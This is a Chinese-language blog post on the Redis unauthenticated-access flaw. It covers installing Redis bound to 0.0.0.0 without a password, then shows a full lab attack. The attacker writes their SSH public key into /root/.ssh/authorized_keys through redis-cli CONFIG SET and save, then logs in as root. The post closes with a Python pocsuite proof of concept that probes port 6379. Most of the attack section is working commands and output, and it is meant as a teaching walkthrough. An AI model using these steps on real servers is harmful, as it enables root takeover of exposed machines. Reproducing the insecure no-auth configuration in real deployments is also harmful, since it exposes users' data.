redis未授权登录漏洞
May 20, 2018 09:54 · 494 words · 3 minute read
.
redis未授权登录漏洞
redis简介
Redis
开发者 Salvatore Sanfilippo
初始版本 2009年4月10日
稳定版本
4.0.5 (2017年12月1日 )
编程语言 ANSI C
操作系统 跨平台
语言 英语
类型 非关系型数据库
许可协议 BSD
网站 redis.io
源代码库 github.com/antirez/redis
Redis是一个使用ANSI C编写的开源、支持网络、基于内存、可选持久性的键值对存储数据库。从2015年6月开始,Redis的开发由Redis Labs赞助,而2013年5月至2015年6月期间,其开发由Pivotal赞助。[1]在2013年5月之前,其开发由VMware赞助。[2][3]根据月度排行网站DB-Engines.com的数据显示,Redis是最流行的键值对存储数据库
安装redis服务
1.添加第三方源
yum install epel-release
2.安装redis
yum install redis
3.编辑配置文件
vim /etc/redis.conf
#将 daemonize no 修改为yes,(允许后台运行)
daemonize yes
#将bind 127.0.0.1 前的注释掉,然后修改为0.0.0.0(允许远程登录),注意的是有一个选项是 bind 127.0.0.1:1在这个选项下面还有一个 bind 127.0.0.1 ,需要注释的是下面那个,刚开始注释错参数,然后远程死活连不上去。。。。。
bind 0.0.0.0
4.启动服务
redis-server /etc/redis.conf
5.查看是否启动
ps -ef|grep 'redis'
6.本地客户端连接测试
redis-cli
7.远程连接
刚开始因为注释bind参数注释错了,导致死活连不上去。
命令参数(redis默认没有密码)
redis-cli -h IP -p port -a '密码'
➜ ~ redis-cli -h 192.168.10.25 -p 6379
192.168.10.25:6379>
192.168.10.25:6379>
192.168.10.25:6379>
redis未授权漏洞
概述
redis默认是没有密码的,如果将redis服务绑定在0.0.0.0:6379,如果没有开启相关认证,那么任意用户都可以登录redis。 攻击者可以利用redis服务,在运行redis服务器上写入公钥,进而使用对应的私钥登录服务器。
redis默认的端口是6379
实验
- 本机 (parrot)
- centos 6.9 (192.168.10.25)
在本地生成私钥
➜ ~ ssh-keygen -t rsa
Generating public/private rsa key pair.
Enter file in which to save the key (/home/yang/.ssh/id_rsa):
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in /home/yang/.ssh/id_rsa.
Your public key has been saved in /home/yang/.ssh/id_rsa.pub.
The key fingerprint is:
SHA256:xHSeyfijlKm7qO0MC5f2j3v9kzFOXZfanuZXe6woHdc yang@parrot
The key's randomart image is:
+---[RSA 2048]----+
| . . |
| o = o |
| + = .|
| . + ...|
| S o. .oo |
| . o .+.o...E|
|. = ...o = o..+|
| + * o... = .. =+|
| ooO++. ..o. +oo|
+----[SHA256]-----+
将公钥写入yang.txt
➜ .ssh (echo -e "\n\n";cat id_rsa.pub; echo -e "\n\n") > yang.txt
➜ .ssh ls
yang.txt id_rsa id_rsa.pub
连接redis写入文件
➜ .ssh cat yang.txt | redis-cli -h 192.168.10.25 -x set crackit
OK
➜ .ssh redis-cli -h 192.168.10.25
192.168.10.25:6379> CONFIG SET dir /root/.ssh/
OK
192.168.10.25:6379> CONFIG GET dir
1) "dir"
2) "/root/.ssh"
192.168.10.25:6379> CONFIG SET dbfilename "authorized_keys"
OK
192.168.10.25:6379> save
OK
登录靶机
➜ ~ ssh -i id_rsa root@192.168.10.25
Warning: Identity file id_rsa not accessible: No such file or directory.
The authenticity of host '192.168.10.25 (192.168.10.25)' can't be established.
RSA key fingerprint is SHA256:lt1wYldb0eP26zXei+dhHWg9PbdHZQCqsqD04zjz2Rw.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added '192.168.10.25' (RSA) to the list of known hosts.
Last login: Mon May 7 23:37:43 2018 from 192.168.10.134
[root@localhost-1 ~]#ls
7z.dll abc install.log shell
7z.exe anaconda-ks.cfg install.log.syslog
写入的目录不限于 /root/.ssh 下的authorized_keys,也可以写入用户目录,不过 Redis 很多以 root 权限运行,所以写入 root 目录下,可以跳过猜用户的步骤。
redis未授权漏洞其他利用
1.数据库信息泄露
2.代码执行
Redis可以嵌套Lua脚本的特性将会导致代码执行, 危害同其他服务器端的代码执行, 样例如下 一旦攻击者能够在服务器端执行任意代码, 攻击方式将会变得多且复杂, 这是非常危险的
3.敏感信息泄露
通过 Redis 的 INFO 命令, 可以查看服务器相关的参数和敏感信息, 为攻击者的后续渗透做铺垫。
POC
检查是否存在该漏洞
# -*- coding:utf-8 -*-
import socket
import urlparse
from pocsuite.poc import POCBase, Output
from pocsuite.utils import register
class TestPOC(POCBase):
vulID = '89339'
version = '1'
author = ['Anonymous']
vulDate = '2015-10-26'
createDate = '2015-10-26'
updateDate = '2015-10-26'
references = ['http://sebug.net/vuldb/ssvid-89339']
name = 'Redis 未授权访问 PoC'
appPowerLink = 'http://redis.io/'
appName = 'Redis'
appVersion = 'All'
vulType = 'Unauthorized access'
desc = '''
redis 默认不需要密码即可访问,黑客直接访问即可获取数据库中所有信息,造成严重的信息泄露。
'''
samples = ['']
def _verify(self):
result = {}
payload = '\x2a\x31\x0d\x0a\x24\x34\x0d\x0a\x69\x6e\x66\x6f\x0d\x0a'
s = socket.socket()
socket.setdefaulttimeout(10)
try:
host = urlparse.urlparse(self.url).netloc
port = 6379
s.connect((host, port))
s.send(payload)
recvdata = s.recv(1024)
if recvdata and 'redis_version' in recvdata:
result['VerifyInfo'] = {}
result['VerifyInfo']['URL'] = self.url
result['VerifyInfo']['Port'] = port
except:
pass
s.close()
return self.parse_attack(result)
def _attack(self):
return self._verify()
def parse_attack(self, result):
output = Output(self)
if result:
output.success(result)
else:
output.fail('Internet nothing returned')
return output
register(TestPOC)
来自 乌云-一不小心走进了百度内网 #百度内网 http://blog.knownsec.com/2015/11/analysis-of-redis-unauthorized-of-expolit/